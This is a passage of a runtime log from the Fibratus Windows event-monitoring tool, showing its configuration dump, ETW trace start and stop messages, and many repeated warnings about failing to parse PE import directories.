data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T13:55:24+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:55:24+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:55:25+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:55:25+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:56:34+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T13:56:34+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T13:56:34+01:00 level=info msg=bootstrapping with pid 816. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T13:56:34+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false content-type=>text/html port=>25 use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>false] systray=>[ quiet-mode=>false enabled=>true sound=>true]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false] + kstream ........................ [ enable-image=>true enable-fileio=>true enable-vamap=>true stack-enrichment=>true enable-audit-api=>true enable-registry=>true enable-mem=>true enable-handle=>false blacklist=>[ events=>[] images=>[]] flush-interval=>1s buffer-size=>512 enable-dns=>true enable-net=>true max-buffers=>36 enable-thread=>true min-buffers=>16] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true max-age=>0 level=>info max-backups=>15] + output ......................... [ amqp=>[ delivery-mode=>transient passive=>false tls-insecure-skip-verify=>false durable=>false routing-key=>fibratus exchange=>fibratus vhost=>/ exchange-type=>topic timeout=>5s enabled=>false url=>amqp://localhost:5672] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck-interval=>10s healthcheck=>true flush-period=>1s trace-log=>false template-name=>fibratus gzip-compression=>false bulk-workers=>1 enabled=>false index-name=>fibratus timeout=>5s sniff=>false] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] method=>POST enabled=>false serializer=>json] console=>[ format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ alert-via=>mail alert-template=>[] skip-files=>true excluded-procs=>[] excluded-files=>[] scan-timeout=>10s enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:183 +time=2025-11-11T13:56:34+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T13:56:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:56:37+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:56:37+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:56:37+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:56:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:56:40+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 